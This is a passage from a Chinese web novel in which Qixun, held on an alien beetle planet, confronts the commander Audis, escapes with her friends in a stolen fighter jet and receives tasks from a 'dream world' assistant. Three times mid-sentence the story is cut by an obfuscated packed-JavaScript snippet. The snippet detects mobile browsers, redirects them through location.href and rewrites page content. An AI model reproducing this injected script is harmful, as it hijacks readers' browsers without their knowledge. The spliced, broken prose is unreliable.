男人脑袋靠在沙发上,眼睛无神地看着七寻,像在无声求救。 她杀人了…… 可是,是他自己凑上来的。 那一刻,七寻喉咙像被钳子钳住了般,发不出声。 温热的血越流越多,她恍惚地捂住男人脖子,手指不自觉地剧烈地颤抖起来。 等她回过神来,想要喊人的时候,颈脖脉动停止,男人无力地闭上了眼睛。 “……” 唇间干涩,七寻不信邪地在男人鼻子、手腕内侧探了探。 真的死了…… 她大脑空白了一瞬,然后开始胡思乱想。 自首的话会被枪.毙吗? 还是无期徒刑? 差点忘了,她都被抓到外星球来了,也不知道地球法律在外星球管不管用。 “叮叮叮……” 突如其来的铃声将七寻拉回现实,定睛看去,声音是从男人衣服里发出来的。 七寻犹豫着,伸手拨开军装披风,看到了他手腕上那只不停震动的,类似手表的东西。 通讯? 要不要接…… 接的话肯定露馅,以这个人在甲虫中的地位,她都不用等着回地球自首,那群性情多变的甲虫就能活吞了她。 通讯闹铃停了又响,响了又停,七寻紧张地攥紧了手中的通讯仪器,心跳砰砰砰直跳。 对方像是感知到了不对,越发急促,像催命的符,将七寻心中的紧张和恐惧无限扩大。 ……大不了鱼死网破。 七寻额间流下冷汗,手指上男人腰间摸索着。 她得找把趁手的武器,既然是外星高层,身上应该有枪的吧? 铃声再次响起,耳边传来一声轻叹,手中响动不停的通讯仪器被一只手轻松夺过。 七寻怔愣地抬起头,就见刚刚咽气的某人伸手推开她,旁若无人地接了通讯。 他慵懒地坐在一旁,翘着二郎腿,问对面:“什么事?” 那边的人说了什么,男人狠狠皱了一下眉。 许是感觉脖子上血太黏腻,他不耐烦的扭了扭头。 忽略掉某道凶神恶煞的目光,男人咬下手中的白手套,擦去脖子上和脸上的血渍,眼睛却始终落在七寻脸上。 “你老婆三天没回家,那是你没本事。她又不是我媳妇,我凭什么帮你二十四小时守着?下回再有这种事,留言就好,不要拨通讯,挂了。” 七寻摸索着手指上已经干了的血,问:“好玩吗?” 男人认真想了想,回复她:“还行。” 七寻捡起沙发上的刀,扯过茶几上的纸张,缓慢擦去上面的血渍。 尖锐的刀刃很快被她擦干净,刀尖寒光一闪而过,好似下一刻就能见血封喉。 她脸上没什么表情,却能让人看出她心中并不平静。 七寻把玩着手中她在矿道里摸来的匕首,与他对视,“你叫什么?” 她要记住这个人的名字! 她会记住的! 七寻默默在心里扎小人。 “星外高级指挥官,奥迪斯。” “高级指挥官?”七寻咀嚼着这几个字,眼底无温:“那你应该知道她们在哪。” “知道。但我凭什么告诉你。” “条件。” 奥迪斯愣了一下,然后笑了,鼓着掌说:“我就喜欢痛快人。” “你想见她们,我带你。” “……”这么好心? 不会有诈吧…… “不过在这之前……” 七寻心头一紧,等他放屁。 “把你这身入不了眼的衣服换了,衣柜里有塑衣胶囊,打开就可以自动穿戴整齐。” 奥迪斯不紧不慢地倒着茶水,似不明白七寻为何还站着不动,不咸不淡地说:“还不去?等着我把你扔到外太空,尝尝和太空垃圾一起流浪的滋味吗?” “……” 看在叶疏和风迅的面子上,暂且忍了。 待她换上一套干净利落的黑色作战服出来,有什么东西从她眼前飞过。 七寻下意识伸手接过,发现是一柄是唐横刀后,挑眉问:“你真不怕死?” 奥迪斯脖子上的血迹已经被他擦拭干净,而那条本该存在的狰狞刀痕,像是从未有过般,消失的无影无踪。 是不怕死,还是杀不死? 奥迪斯哼笑道:“那得看你有没有那个本事。” 七寻意识到什么,伸手拔刀,发现刀在鞘里,纹丝不动。 她就知道这人没那么好心。 房间里响起一声清脆的响指,地面在震动,四周墙壁沉入黑土中。 取而代之的,是一个类似虚拟训练场的封闭空间。 墙壁嵌合缝隙间闪着不规则的荧蓝流光,满满的科技感。 看起来非常结实,外人进不来,里面的人出不去的那种结实。 七寻警惕地看着全然变了一副模样的房间,目光愈发不善。 奥迪斯无知无觉般,坐在虚空中,端着刚泡好的茶,吹了吹,优雅地喝一口。 “你不是想找她们吗?现在她们就在你身后,不看看?” 七寻猝然回身。 只见细小的绳索扣在顶部,下端吊着两个熟悉的人。 叶疏和风迅被捆在了一起,嘴巴上被人贴上了银灰色的强力胶带。 见七寻终于看到了她们,风迅“呜呜”着说着什么。 许是知道这样七寻听不懂,叶疏摇晃着,将风迅挤到了后面,然后使劲朝七寻摇摇头。 叶疏叫她不要过去…… 她们之间隔着两百米远的距离,这其中定然有诈。 回头,奥迪斯正一边接着通讯,一边笑眯眯地看着她。 砍是砍不死的,求更不可能有用。 这人就是想看她为救人陷入手足无措之地,简直恶略至极。 她又在心中记下一笔。 待日后,她定加倍奉还。 七寻试探着走了过去,还没走两步,侧壁和顶部突然射下激光。 好在她早有准备,轻轻松松地躲了过去。 可越往前走,激光的数量越多,也越密集,天罗地网似的,根本不给人钻空子的机会。 十几分钟过去,七寻才走了十米。 余下的,寸步难行。 刀…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352329|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥迪斯那个家伙,品味应该还没差到喜欢看她被完虐的戏码。 七寻想明白其中关键,试着用刀挡住激光。 果不其然,激光瞬间退避,只不过相对应的,刀柄上跟过电般,电得她手臂发麻。 这种程度的电击,她能忍下! 有了继续前进的希望,七寻稍微松了口气。 就在这时,吊着叶疏和风迅的绳索骤然下坠,又停住,而她们身下地板中,赫然是一台正在运转的大型绞肉机。 一旦掉下去,两人都会被绞成肉泥! 三人脸色突变,风迅挣动的幅度越来越大,最后还是被叶疏蹬了一脚,才老实下来。 七寻顶着激光,愤怒吼道:“你到底想怎样?” “你应该问怎么救她们,而不是在这对着我无能狂怒。”奥迪斯换了个更舒服的姿势坐着,淡淡道:“很简单,只要你闯过去,绞肉机便会立即停止运转,她们也能安然无恙的……” “奥迪斯,今天要是她们伤了死了,我一定会带着你一起下地狱。”七寻恨恨道,然后连看都不看他一眼,奋不顾身地闯入密不透风的激光中。 “……”奥迪斯沉默地放下茶盏,红眸中满是阴郁之色。 片刻,他忍下心中难受,嘴角下意识往下来了几个度,喉咙里发出不爽的哼哼声,眼睛却紧紧盯着万千光线中那抹不屈的身影。 电流强度剧增,七寻手中的唐横刀差点脱手。 她咬牙,苦苦支撑,终于将距离缩短到了五十米。 绳索还在缓慢下坠,被挂在半空中的两人不得不抬起脚,以免被卷入绞肉机。 “叶疏,风迅……”七寻将刀驻在地上,睁着那双红彤彤的眼睛,勉勉强强的站起身。 就差一点了…… “呃……” 刚站起来的七寻再次跪地,她浑身被电得抽搐,忍不住痛呼出声。 叶疏嘴上的胶带脱落,她大喊道:“快走,别管我们了,这样下去我们三个都得死在这!” 话音刚落,绳索瞬间断开。 “不——”七寻瞪大了双眼,眼睁睁地看着两人坠了下去。 那一刻,时间仿佛被定格,眼前只剩漫无边际的血色。 而拔刀,也就在那一刹那间。 “不要……不要……过,过来……” 墙壁崩解,机械停止运作,七寻跪在地上,茫然地盯着眼前这两具跟叶疏和风迅长得一模一样的机器人。 奥迪斯过来的时候,就看到她低着头,不知在想些什么。 “你从一开始,就在骗我……” 听到前面那句的时候奥迪斯还想着开开玩笑,缓解缓解气氛,直到听到后半句带着哭腔的声音,他顿住了。 过了许久,奥迪斯开口道:“我并没有抓她们。她们确实……从一开始就不在这。” “好玩吗?” “……” 七寻阴冷道:“拿着人命戏耍我,好玩吗!” “我在救你。”奥迪斯突然无厘头地说:“你知道的,有时候爱情并不值得人为它牺牲点什么,但友情不一样……从你的表现我就能看出,你能为了救她们而死,你愿意为了救她们牺牲自己……” 七寻不明白奥迪斯为什么表情忽然那么悲伤,又为什么突然跟她说这些。 她疲惫不堪。 她最亲近的两个朋友差点死在她面前,就算那是假的,可巨大的悲伤和喜悦无时无刻不冲撞着她的大脑,疼得她无法呼吸。 七寻站起身,眼前一阵发黑。 奥迪斯眼疾手快,一把拉过晕过去的七寻,顺势拦腰抱起。 他低头凝望着七寻面无血色的脸,还有她发梢那抹银白,轻声呢喃道:“……我一直都知道,我是自私的。” 19. 爬管道 她居然晕过去了。 七寻扫视着周围,发现自己在指挥官休息室床上。 奥迪斯口中的“我在救你”到底是什么意思? 七寻脑袋一阵刺痛,她缓了缓,从床上爬起来,顺手拿过被奥迪斯搁置在一旁的唐横刀。 推开休息室的门,脚下是万丈高空。 眼前一阵眩晕,七寻下意识抓紧旁边的护栏。她怔怔地凝望着这颗虫星除去不科学与诡异的,繁华的那一面。 数座大厦如参天巨木般拔地而起,玻璃墙反射着晚夜绚丽的霓虹灯,城市中心,一座高耸入云的黑塔耸立其中,黑漆漆的支臂吸纳着周围一切光彩,让它看起来像一位独行在夜间的绅士,孤独神秘,却又让人无法忽视轻视。 整座城市如白昼通明。 而七寻此刻脚下站着的,正是这座城市除了那座黑塔之外,最高的一座大厦。 缓过神来,七寻大胆地踩在屋外透明玻璃上,直白地与天空中那只机械独眼对视。 机械独眼转动着眼珠,眼白上血丝分明真实。见七寻没有下一步的举动,它主动穿过天空中那道隐形的隔离屏障,飞到七寻面前,生动地眨了两下眼睛。 一道白光闪过,独眼被击落。 七寻收回刀,伸手抓住机械残躯,垂眸俯瞰这座冰冷的城市,森冷道:“我最恨别人监视我。” 预感到什么,机械独眼颤抖着,身上发出“滋滋”电流。 它在求饶。 七寻却像是没看见般,眼睛都不带眨一下的,瞬间将机械独眼捏爆。 机械零件崩解四溅,那只独眼却完好无损。 七寻嫌恶地皱了皱眉,准备用刀将它劈碎。 眼珠瞳孔骤缩,趁她拔刀之际跳过平台,撞出屏障外,直直坠入暗不见光的城市深处。 这小小的漏洞,让七寻感到不爽。 小的时候她讨厌监视,长大后她讨厌被欺骗,而奥迪斯很不走运的,两项全占。 她不会让那个家伙好过的。 既然叶疏和风迅并没有被抓住,她就没必要与奥迪斯虚与委蛇。 临近转角处,七寻听到交谈声。 甲虫一:“指挥官大人,那个人怎么处置?” “扔回去。” 甲虫二:“指挥官指挥官,青老二家生三胎了,他说您人到不到无所谓,但不要忘记随份子钱。” “让他滚去乞讨。” 甲虫三:“指挥官,大姐头让您帮她出出主意。” “她在外养小奶狗被正宫逮到,这不是迟早的事?大不了就离,还能怎么办?” “可是大姐头正宫对她不离不弃,就要她。” 奥迪斯眯眯眼,眼神中透露出七分难以置信三分难以理解,“改编成狗血短剧指不定能大爆。” 这家伙,怎么跟甲虫保姆似的,尽处理些鸡毛蒜皮的事。 “谁在那边?” 七寻一惊,视线很快锁定天花板顶部。 三只甲虫扫视着,什么也没看到。 “指挥官,您太敏感了。” 奥迪斯站在三只高大的之间,好似认同了它们说话,淡淡道:“也许吧。” 在通风管道里缩着的七寻不由在心里松了口气。 这里太狭窄了,一旦被发现,连反抗的机会都没有。等他们离开,她再下去。 “但是……”奥迪斯话锋忽地一转,七寻心头跟着一紧。 “那两个狡猾的人类你们直到今天都没有抓到,为了以防万一,你们多派些人,二十四小时巡逻。” “好的,指挥官。” 三只甲虫就要退下,忽然转身问:“加班费是按平时的三倍算吧?” 奥迪斯挑眉,“掉钱眼里了?” 甲虫当着奥迪斯的面调出一份文件,用长须指着某个位置说:“合同上写了。” “……三倍。” 甲虫们高兴地甩着长须走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362017|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这群甲虫,给人类口头协议,自己倒是知道随身带着劳动合同,吃不得一点亏。 不过话又说回来,至少没让他们二十四加班,八小时排班制,准时准点上下班。 七寻既无语又觉得这群甲虫还尚存点良心。 不过,奥迪斯口中的“那两个狡猾的人类”,很有可能就是叶疏和风迅。 以风迅的性格,说不定很快就会闹出点大动静,毕竟她可不是一个会委屈自己的人。 到时候,她就可以借机找人了。 二十四小时巡逻,她现在肯定下去,简直就是自投罗网。 她可不想被抓回去,不如顺着管道爬,找个安全的地方,再借机行事。 七寻爬的小心,一听到甲虫的脚步声便停下来观察,待它们走后又开始攀爬。 她在心中估算着,应该快爬到尽头了。 就在这时,通风管道对面传来声响。 这地方正好是一个拐角,七寻小心翼翼地将刀拔出,静待时机…… 一簇黑发从拐角冒出头来,七寻正要拿到刺去,就见到了一个熟悉的人。 “风迅!” “七寻!” 许是太过激动,那边传来“咚”的一声,接着是一声憋住的嘶疼声。 “……”听着这咋咋呼呼的动静,七寻默默收回刀,心中却没有完全放松警惕,小声问:“你怎么在这?” “叶疏呢?” “我终于找到你了七寻,叶疏说你被那个高级指挥官抓了,派我进来找你呢,她在外面接应我们。” 回答完,风迅弱弱地问:“我可以探头了吗?”她可没忘记自己差点断头的事,抱怨道:“你动作也太快了,一点声都没有,还好我机敏。” 这么话痨,是本尊没错了。 “出来吧,我已经收刀了。”七寻解释道:“奥迪斯用机器人假扮……” 话还没说完,两人之间的通风管道冲出一道火光…… 20. 战斗机 “狗日的,哪个王八蛋~”风迅愤怒的声音劈了叉,脑袋“哐当”一下再次撞在了空气管道上。 “奥迪斯!”七寻晃晃晕乎乎的头,看向站在自己下方的人,眼神分外冰冷。 奥迪斯眯着眼睛抬头回视,戏谑道:“两只小老鼠。” “我猜得果然没错,只要放你出来,她们会心甘情愿上钩的。” 所以这家伙从一开始就知道她在管道里,却故意不点破。 正在这时,大厦玻璃从外面被人轰碎,碎片如天女散花般飞溅,尖锐的玻璃渣划过奥迪斯脸侧,留下一道与他瞳色一样危险美艳的红。 下一刻,一架巨型战斗机疯了般朝奥迪斯撞了过来。 奥迪斯阴着脸退避,坐舱盖缓缓升起,里面那人一头黑色狼尾,发梢处是渐变的深蓝色,风浪将头发吹得凌乱,无形中更显飒爽肆意。 那人嘴里叼着什么,喊道:“七寻,风迅,快上来,姐带你们浪去~” 正是叶疏。 她中考完就剪了狼尾,只是上高中后学校规矩多,叶疏不得不把狼尾扎成丸子头。 现在不在学校,她自然要好好展示展示自己这头酷酷的狼尾。 七寻展颜一笑,拉着风迅从空气管道中爬出。 两人一脚踩在追来的甲虫脑袋上,动作如豹子般迅速,不带一丝拖泥带水地爬上座舱。 喷气发动机启动,坐舱盖还没来得及降下,七寻在风中大声问:“你从哪搞来的?” “管那么多做什么,爽就完事了。”叶疏扶正护目镜,提醒道:“抓稳了。” 风迅惊恐的系上安全带,还不忘紧扣扶椅:“大姐,老大!您慢点啊——” “我又不是男的,女人就是要快!” 在奥迪斯及众甲虫惊恐且不可思议的目光中,那架银白色战斗机不带掉头的,直直穿过大厦最顶层,霎时,电光烟尘四起,赶来的甲虫们如排山倒海般倒在战斗机恐怖的冲击之下。 奥迪斯黑着脸怒道:“追!” 几只被碾扁的甲虫奄奄一息地劝道:“家人们,不要冲了!会死虫子的!” 它们这么一嚎,被多巴胺操控的甲虫们很快冷静下来,纷纷附和。 “对对对,不能冲!” “我们是卖.身的,不是卖命的。奥迪斯大人,您不能逼着我们给您卖命,这样是不道德的!” “当然,如果您实在想抓人的话,也不是不可以,就是……”之前跟在奥迪斯身边汇报“紧急大事”的三只甲虫搓搓长须,异口同声道:“得加钱。” 这群养尊处优的虫子,真是越来越不要脸了。 就这工作态度,还想让他加钱?天底下哪有这么好的事! 奥迪斯怒极反笑,咬牙切齿道:“滚!” “切~”虫子们也不惯着他,不满地离开了。 · 天上,战斗机急速划过云层,在蔚蓝天空中留下一道明显白痕。 风迅自小恐高,被吓得嗷嗷叫:“啊啊啊啊早知道就不陪着你去甲虫武器库盗战斗机了,七寻,七寻!你快抓紧我,这样就算叶疏把咱俩带泥沟里,到了下面,还有你陪着我呜呜呜……” “呸呸呸,说什么呢。”叶疏不服气地说:“我小时候学过的……” 听着她略带心虚的语气,七寻挑眉问:“学过开战斗机?” “……模拟机。” 七寻:“……” 风迅:“……” 七寻低头看着风迅抓着自己的手,感觉对方再力点,就能把她薅秃噜皮。 “干嘛不说话,模拟机就不是飞机了吗?”叶疏扭头扫了两人一眼,试图安抚:“放宽心啦……”她都开上天了,还能有什么事? 话还没说完,战斗机忽然撞上什么。 “哇靠,叶疏,这就是你说的‘放宽心’啊啊啊啊啊!”风迅一边叫着,一边找跳伞,她紧张地嘀咕道:“不会吧不会吧,这里面不会没有跳伞吧,难道我今日就要英年早逝,命丧于此!” “这难道就是传说中的天妒英才!” 叶疏太阳穴突突跳,忍无可忍道:“闭嘴!” 机翼损坏,刚刚还信誓旦旦的叶疏心里直道不妙。 见叶疏在操作台上调试一圈,战斗机却没什么变化,依旧直线下坠,七寻翻出跳伞,问:“怎么回事?” “按键失灵了,不过幸好座舱盖可以打开……”望着下方那片汪洋,叶疏尽量控制着自己冷静,“下面是海域,跳下去,应该摔不死。” 风迅哭着纠正她:“这种事,怎么能用‘应该’,你该说‘我们一定能活下去!’” 叶疏无语地喊道:“我这样说你就能安心?” “当然不能!但你至少应该骗骗我!” “自欺欺人!” 七寻动作麻利地帮两人套上装备,“废话怎么那么多,不想死赶紧背好跳伞。” “我没玩过这玩意儿啊!” “往下跳,控制着肚子朝下,然后拉伞绳,这。” 狂风中,风迅下意识问:“你,你跳过?” “没。不过在手机上玩过跳伞游戏。” 她说得理直气壮,合理地让其他两个人不知该做出什么样的表情去应对。 “报应。”叶疏刹住起跳的动作,恍惚地说了句。 风迅紧闭着眼睛,腿脚发软,根本不敢往下看,“我我我,我要不还是算啊啊啊啊——” 七寻站在她身后,一脚将她踢了下去,然后扭头看向另一个,没什么表情的脸上写满了跃跃欲试,“要帮忙吗?” 叶疏抬手礼貌拒绝,“我可以的,就不劳驾了。”说着,咬牙一跃而下。 风在耳边嘶吼,不过三分钟的时间,战斗机就已坠入海中,浓烟在海上飘了会儿,很快随着沉底的战斗机一起消失灭迹。 两人海平面上飘着,海鸥从碧蓝天空掠过,风迅尽力克制自己对高空的恐惧,颤抖地问,“七寻呢?” 碧蓝天空只有她们两个人,她们没有看到七寻的身影。 叶疏抓着跳伞两边的绳子,指尖被勒得发白,她怔怔地问:“你当时找到了几个降落伞?” 风迅大脑过电般想到什么,嘴巴不受控制地吐出一字一句:“不是我找到的,是七寻从座位底下找到的,她……” “……”叶疏艰难地问:“所以只有两个对吗?” “都是我的错,我只顾着害怕了,要是我早点注意到,就不会发生这种事了。”风迅擦擦眼泪,眼中迸出吓人的决然之色,“飞机刚沉下去,只要我们努力,一定能把七寻从水里捞出来的……” 说着,她就要解开降落伞,跳入海中。 叶疏怒道:“你会游泳吗你就跳!你想死是不是!” “那该怎么办嘛!难道,难道我们就干看着,什么都不做吗!” 叶疏瞪着她,很想骂人。 可这并不是风迅的错,她本来就怕高,在极度恐惧下,她能在第一时间反应过来寻找降落伞已经很不容易了,所以就算错,也是她的错,要不是她操作不当,也不会让她们陷入险境。 “我会游泳,我下去找。”叶疏尽量让自己的语气平静些,说:“这里离岸边不远,你控制好风向,应该能飘过去。” 风迅紧抿着唇呜呜哭着,脸上全是眼泪。 知道她听进去了,叶疏语气放软了些,安抚道:“听我的,你乖乖回去,我把人带回来。” “带谁?” 背后响起熟悉的声音,叶疏回头,吃惊地看着抓着四五百个各色各样的超大号气球,悠闲地飘在自己头顶上方的七寻。 到了岸上,七寻被风迅抱了个满怀,她不知所措地帮对方擦着眼泪,问:“这是怎么了?” “我以为你为了救我们,跟战斗机一起坠海了,我,我以为再也见不到你了……”风迅哭得上气不接上气,断断续续地说:“都怪我,要是我早点发现只有两个跳伞就好了,都怪我。” 七寻放在她脊背上的手一顿。 她晃晃手里的唐横刀,“这把武器可以自由变换,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379010|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就算少了一个降落伞,我也不会有事的。” “你刚刚也看到了,我变出气球飞回来了,现在人就站在你面前。” 七寻拉着她的手摸自己的脸,说:“完好无损。” 风迅克制着眼泪,撇着嘴,声音中还是带着哭腔:“那你也应该早点告诉我们,害得我们担心。” 七寻讨好地抱抱她,诚恳地向她们道歉:“对不起,我错了,再没有下次了。” “能原谅我吗?” 她长得好看,再加上本身气质偏冷,偶尔卖卖乖,风迅的心“啪嗒”一下就软了下来,再难冷下脸指责批评。 风迅破涕而笑,“勉勉强强。” 七寻微微放下心,却像跟干了坏事的小孩,不敢看叶疏熏红的眼睛。 她正打算撇过头,就见叶疏朝她走了过来。 叶疏拉开风迅,抬起手…… 七寻心头猛地一惊,下意识闭上了眼睛。 预想的巴掌并没有落在脸上,迎接她的,是一个十分用力且带着后怕的拥抱。 “还知道怕……”叶疏死死将她扣在怀中,恶狠狠地说:“下回再敢这么自作主张,小心你的皮七寻。” 她就知道叶疏没有风迅那么好糊弄…… 眼眶被海风染上些许咸咸的湿意,七寻心有余悸地在叶疏颈脖间蹭了蹭。 “接下来我们去哪呀?”风迅看着两人,叶疏看着七寻,问:“有想法?” “嗯。我想去风迅说的甲虫武器库看看。” “我们人少势微,那群甲虫又皮糙肉厚,一旦碰上,没有趁手的武器,只有束手就擒的份。”叶疏点点头,做下决定:“休息一晚,我们明天再出发。” 风迅:“好。” 七寻迎合地点点头。 绚烂夕阳下,迎着海浪,七寻将心事和美景一起打包,将它们深深地藏在了眼底。 她骗了叶疏和风迅——她并不知道奥迪斯给她的唐横刀能随机变换。 在发现只有两个跳伞的时候,七寻有种命中注定的感觉。 就仿佛是上天给她的,一个借死亡逃离梦境的机会。 她想过不管生或死地放手一搏,却在飞机坠海的前一刻,耳边再次响起刺耳的心率仪的声音,然后,就被一串冰冷清晰的电子音,拉出了那个未曾涉及的深渊。 【欢迎进入梦境世界,我是您的助手,谢邀。】 谢邀? 时空定格处,七寻皱皱眉,觉得这个名字有些熟悉。 【为避免死亡,请梦境执行者立即停止极端想法,完成主线任务。】 “如果我在梦里死了,就真的死了,对吗?” 【是。】 “那这里的其他人呢?也会死?” 电子音不稳的电流声:【……数据错误,这个不在梦境助手可解答范围内。】 【梦境二外星入侵主线任务:带着全校师生,返回地球。】 她之前见到的狐脸,也是在梦境中。 可梦境助手没有出现,也没有清晰的任务,她却脱离的梦境…… “上一个梦境的任务是什么?” 【解开真相,普度阴鬼。】 看来是她误打误撞了。 “如果我没完成任务会怎样?被永远地困在梦境中?” 【是。】 “还有多少个梦境?” 【未知。】 “……想要脱离梦境,就只有完成主线任务吗?” 【是。】 三句话绷不住一个屁,还要她主动问。 七寻坐在倒挂在空中的战斗机中,摊手道:“飞机即将坠海,就算我有求生的意识,未免太晚了些。” 【你手中的七十二界,可以任意变换物品。】 七寻摸着手中的唐横刀,有些意外,毕竟这是奥迪斯给的。 任务失败就要永远困在这里,她可不想跟着一群诡异莫测的妖魔鬼怪生活。 “合作愉快,小助手。” 谢邀:【……】 21. 一百万 海边昼夜温差虽小,三人还是要找个休息的地方。 正好叶疏在飞机上的时候,看到附近有座废弃的房屋。 三人捡了点海货,在七寻那把二十四界的帮助下,点燃了篝火。 没有调料,但为了不饿肚子,她们只能没滋没味地吃着。 叶疏开口问:“这把武器叫什么?” “二十四界,奥迪斯给的。” 两人都有些惊讶,风迅在经过七寻同意后,拿着二十四界仔细端详的半响,没发现有什么不对劲的地方。 “也许是我眼拙,所以看不出个所以然来。” “这颗虫星科技发展水平很高,要是让你看出个所以然来,那些甲虫可以自掘坟墓,然后把自己埋了。” “三十六度的嘴说出来的话真让人寒心~”风迅捂着心口,伤心欲绝般倒在了七寻身上,“虽然我看不出来什么,但那个奥迪斯,真真可恶!” 七寻享受这样可以闲适的畅所欲言的夜晚,她低眉揉着风迅的脸,懒懒地“嗯?”了一声。 “你不知道,我刚醒过来的时候,就发现自己被绑在了椅子上。然后,那个奥迪斯就进了房间,坐在了我面前。”想到这里,风迅捶胸顿足,气得直接跳起来,开始吐露奥迪斯种种恶行:“他放出AI合成的,你俩蛐蛐我的语音,想用这个离间我们!” “简直就是痴心妄想好吗!我们三个是什么关系,怎么可能是他耍点小伎俩……嗯?” 见两人一个心虚地挠挠头,一个眼神飘忽。 风迅顿时炸毛了,她瞪眼道:“真是你俩说的!” “你们!”风迅扑在七寻身上,手指在她腰间作弄,见她被自己挠得喘不过来气,她笑得愈发邪恶,“快说,你们背着我还说了什么。如实招来!” “哈哈哈放过我嘛哈哈我错了,我没有,说什么……都是哈哈哈叶疏说的!” 七寻被风迅挠得面红耳赤的,浑身上下没一点力气。 见风迅停下来,七寻擦擦眼泪,抬手进入防备模式,二话不说直接出卖队友:“叶疏说你‘人傻运气好’。” “好你个叶疏!” “我是夸你傻人有傻福,这难道不是一种祝福吗?”见她不肯罢休,叶疏无所谓地摊手,道:“挠痒痒肉对我可没用,我不怕痒。” 风迅得意地笑着,“谁说我要挠你痒痒肉。你了解我,难道我就不了解你了?” 叶疏面色一僵,忽然有种不好的预感。她摸摸口袋,发现口袋里的东西果然没了,“什么时候?” 风迅大笑,眨眼间五指间夹了八根荔枝味棒棒糖:“在这呢!” “七寻之前嘱咐我,让我跟她一起监督你少吃点糖……本来还想着一天给你一颗,现在我改变主意了,我一颗也不给你,哼!” 叶疏想找七寻讨个说法,就见对方已经歪着脑袋睡了过去。 呵,装死。 叶疏舔舔上牙,无语至极,却又无可奈何。 第二天。 为了更好地伪装,七寻把她不久前从高级军官休息室里多拿的两个塑衣胶囊递给叶疏和风迅。 “这玩意儿真不错,要是有机会,回地球前我要带上一打!” 叶疏挑眉:“怎么不带点枪炮回去?你不是最喜欢那些了?” “那得我能用啊。把那些东西带回去,我脚刚踏出飞船一步,下一秒就能被当作恐怖分子抓起来。”风迅没有被她带偏,自顾自琢磨着,“我再多观察观察,看看还有没有其他性价比高的土特产……” “命都差点没了,你还当这是在旅游?” “既来之则安之嘛,已经发生了,难不成我还要花费精力哭天喊地啊?”风迅撸起黑风衣袖子,拽得二五八万似的,“再说,不薅点东西回去,岂不是亏了。” 她说得头头是道:“做人,最忌吃亏!” 七寻:“……” 叶疏:“……” 她们好像明白为什么风迅运气那么好了——因为心大,所以即便身逢逆境,她也能始终保持着一颗积极向上的心,好的坏的,照单全收。 甲虫武器库在虫星郊区,离海边很远。 用两只脚走不知道要走到猴年马月,三人果断放弃,将主意打在弃房屋后院车库里那辆破三轮车上。 叶疏和七寻在车库里翻了翻,找到了些维修工具。 可是问题来了,她们不会修。 三人沉默着,最后还是风迅不忍直视地开口道:“轮子都掉了一个……就算有工具,也修不了吧?” 【顾问?】 谢邀:“……”之前不还是“小助手”吗?怎么又改称呼了? 【您有什么吩咐?执行者。】 七寻直白了当:【有没有金手指?】 【您想要修好这辆车?可以,但是需要您用积分兑换。】 【需要多少?我的积分够不够?】 这一次小助手回答得没有那么干脆,他思考了很久,久到七寻以为自己太穷,小助手不好意思说出来打击她。 【两点……】 【我只有两点积分?】 【是兑换修车技能需要两点,您的实际积分是……】 七寻紧张地屏住了呼吸,然后在措不及防中听到那个数字,惊得被自己的口水呛到。 叶疏不明所以,伸手不缓不慢地拍她后背。 七寻咳了几声,终于缓过神来。她眯着眼睛,在心里问:【你确定你没搞反?】 【助手从不会出错,您的实际积分就是一百万,请不要质疑我。】 “……”怎么他还不满起来了? 既然没出错,七寻也不想继续浪费时间,当机立断:【直接兑换吧。】 两秒钟后,小助手提示道:【机车维修技能兑换成功,请执行者在24小时内使用完技能。】 24小时? 这都够她组装出一辆车了。 在叶疏和风迅不可思议的目光中,七寻捡起维修工具,对着破烂三轮熟练的缝缝补补。 按上用二十四界变出的轮胎,不出两个小时,七寻成功让三轮车达到了最低使用的标准。 风迅抱着满身机油的七寻,高兴地手舞足蹈,大声尖叫着:“哇靠,七寻,你什么时候有这本事了!” 叶疏对着七寻竖起了一个大拇指。 七寻笑笑不语。 高兴完,风迅自顾自坐在驾驶位上,七寻和叶疏理所应当地坐在敞篷三轮后面。 迎着骄阳,她们整装待发。 半响,车子一动不动,除了七寻以外的两个人也跟着一动不动。 七寻心里咯噔一声,以为车子没修好,问:“怎么了?开不了吗?” 风迅憋得脸通红,转头不好意思道:“我忘了,我不会开。” 七寻:“……” 叶疏:“……起来,我来。”占着茅坑不拉屎,害得她担心七寻白忙活了一场,还在想着怎么安慰对方。 谁能想到是这货不会开。 风迅麻溜地滚到后座,问:“叶疏,你真的会开啊?这次不会也是……” “啧,别以为人人都像你一样不靠谱。” 不管叶疏会不会开,七寻已经在做两手准备了。 【小助手,帮我兑换开机车的技能。】 【抱歉执行者,兑换商店每24小时开放一次。】 七寻弱弱地问了句:【……那我之前没有用的机会?】 【过时不候。】 呵,她就知道天底下没有这么便宜的买卖。 突然,巨大的惯性袭来,七寻猛地后仰,在风迅惊 